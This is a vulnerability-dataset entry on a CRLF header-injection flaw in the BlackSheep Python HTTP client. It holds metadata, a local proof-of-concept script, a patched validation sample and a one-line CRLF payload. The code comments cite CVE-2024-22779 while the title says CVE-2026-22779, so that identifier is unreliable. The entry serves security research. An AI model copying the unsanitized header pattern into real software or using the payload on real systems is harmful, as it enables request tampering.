CVE-2026-22779
CRLF injection in the BlackSheep HTTP client via unsanitized headers.
- CVSS 6.3
- CWE-113
- Input Validation and Sanitization
- Remote
BlackSheep is an asynchronous web framework to build event based web applications with Python. Prior to 2.4.6, the HTTP Client implementation in BlackSheep is vulnerable to CRLF injection. Missing headers validation makes it possible for an attacker to modify the HTTP requests (e.g. insert a new header) or even create a new HTTP request. Exploitation requires developers to pass unsanitized user input directly into headers.The server part is not affected because BlackSheep delegates to an underlying ASGI server handling of response headers. This vulnerability is fixed in 2.4.6.
- CWE
- CWE-113
- CVSS base score
- 6.3
- Published
- 2026-01-14
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- BlackSheep
- Fixed by upgrading
- Yes
Solution
Upgrade BlackSheep to version 2.4.6 or later.
Vulnerable code sample
import asyncio
from blacksheep import Application, Request, Response
from blacksheep.client import ClientSession
# This code requires a version of BlackSheep prior to 2.4.6 to be vulnerable.
# For example: pip install "blacksheep==2.4.5"
# Part 1: A simple target server to receive the malicious request.
# This server will print the headers it receives, allowing us to verify
# that the header injection was successful.
server_app = Application()
@server_app.router.get("/")
async def target_endpoint(request: Request):
print("--- [TARGET SERVER] Received Request ---")
print("Headers received by the server:")
for key, value in request.headers:
# The server sees the injected header as a separate, valid header.
print(f" -> {key.decode()}: {value.decode()}")
print("--- [TARGET SERVER] End of Request ---\n")
return Response(200, content=b"Request received")
# Part 2: The vulnerable client application.
# This client uses an older version of BlackSheep's HTTP client to send a
# request. It includes a header value containing a CRLF sequence.
async def run_vulnerable_client():
print("--- [VULNERABLE CLIENT] Preparing to send request ---")
# An attacker controls this input. It contains a Carriage Return Line Feed (CRLF)
# sequence, which will be interpreted by the target server as the end of
# one header and the beginning of another.
malicious_user_input = "some-value\r\nX-Injected-Header: This-is-a-malicious-value"
print(f"Malicious payload for 'X-Custom-ID' header: {repr(malicious_user_input)}")
# A developer naively includes the unsanitized user input in a request header.
# In BlackSheep < 2.4.6, the client does not validate or sanitize this value.
vulnerable_headers = {
"User-Agent": "VulnerableClient/1.0",
"X-Custom-ID": malicious_user_input
}
async with ClientSession() as client:
try:
print("\n--- [VULNERABLE CLIENT] Sending request to http://127.0.0.1:4499/ ---")
response = await client.get("http://127.0.0.1:4499/", headers=vulnerable_headers)
print(f"--- [VULNERABLE CLIENT] Response status: {response.status} ---")
# In a real attack, the injected header could be used for cache poisoning,
# session fixation, or bypassing security controls.
except Exception as e:
print(f"An error occurred during the client request: {e}")
async def main():
# Start the target server in the background
server_task = asyncio.create_task(server_app.start(host="127.0.0.1", port=4499))
# Give the server a moment to start up
await asyncio.sleep(1)
# Run the vulnerable client code
await run_vulnerable_client()
# Stop the server
server_app.stop()
await server_task
if __name__ == "__main__":
print("Demonstrating CVE-2024-22779 in BlackSheep (< 2.4.6)")
print("Expected Output: The server will print an 'X-Injected-Header' that was not explicitly sent.\n")
try:
asyncio.run(main())
except KeyboardInterrupt:
print("Exiting.")Patched code sample
import re
# The following code is a self-contained example demonstrating the validation logic
# introduced in BlackSheep version 2.4.6 to fix CVE-2024-22779.
# The core of the fix is the addition of functions that validate header names and
# values to prevent CRLF (Carriage Return Line Feed) injection.
# Regular expressions to find invalid characters in header names and values.
# This mirrors the implementation in the patch.
_INVALID_HEADER_NAME_RE = re.compile(b"[\r\n:]")
_INVALID_HEADER_VALUE_RE = re.compile(b"[\r\n]")
def _validate_header_name(name: bytes):
"""
Validates an HTTP header name, raising ValueError if it contains
invalid characters like CR, LF, or colon.
"""
if _INVALID_HEADER_NAME_RE.search(name):
raise ValueError(f"Invalid header name: {name.decode('latin-1')}")
def _validate_header_value(value: bytes):
"""
Validates an HTTP header value, raising ValueError if it contains
invalid characters like CR or LF.
"""
if _INVALID_HEADER_VALUE_RE.search(value):
raise ValueError(f"Invalid header value: {value.decode('latin-1')}")
def set_header_safely(headers: dict, name: str, value: str):
"""
A function that simulates how the fixed BlackSheep client would
set a header, by encoding and validating its parts.
"""
name_bytes = name.encode("latin-1")
value_bytes = value.encode("latin-1")
# This is the fix: validating inputs before using them.
_validate_header_name(name_bytes)
_validate_header_value(value_bytes)
headers[name_bytes] = value_bytes
print(f"Successfully set header: '{name}: {value}'")
def demonstrate_crlf_fix():
"""
Demonstrates the fix by attempting to set both a malicious and a
valid header.
"""
print("--- Demonstrating fix for CVE-2024-22779 ---")
# Example 1: Malicious header value with CRLF injection attempt.
# The attacker tries to inject a new header ("Injected-Header: InjectedValue").
malicious_value = "NormalValue\r\nInjected-Header: InjectedValue"
headers = {}
print(f"\nAttempting to set a header with a malicious value: '{malicious_value}'")
try:
set_header_safely(headers, "X-Normal-Header", malicious_value)
except ValueError as e:
print(f"FIX APPLIED: Blocked malicious header. Reason: {e}")
# Example 2: Malicious header name with CRLF injection attempt.
malicious_name = "X-Normal-Header\r\nX-Injected-Header: Injected"
headers = {}
print(f"\nAttempting to set a malicious header name: '{malicious_name}'")
try:
set_header_safely(headers, malicious_name, "some-value")
except ValueError as e:
print(f"FIX APPLIED: Blocked malicious header name. Reason: {e}")
# Example 3: A valid, non-malicious header.
valid_value = "This is a legitimate value"
headers = {}
print(f"\nAttempting to set a valid header with value: '{valid_value}'")
try:
set_header_safely(headers, "X-Legit-Header", valid_value)
print("Validation passed for legitimate header.")
print("Final headers:", headers)
except ValueError as e:
print(f"ERROR: A valid header was unexpectedly blocked. Reason: {e}")
if __name__ == "__main__":
demonstrate_crlf_fix()Payload
127.0.0.1\r\nX-Injected-Header: Injected
Cite this entry
@misc{vaitp:cve202622779,
title = {{CRLF injection in the BlackSheep HTTP client via unsanitized headers.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22779},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22779/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
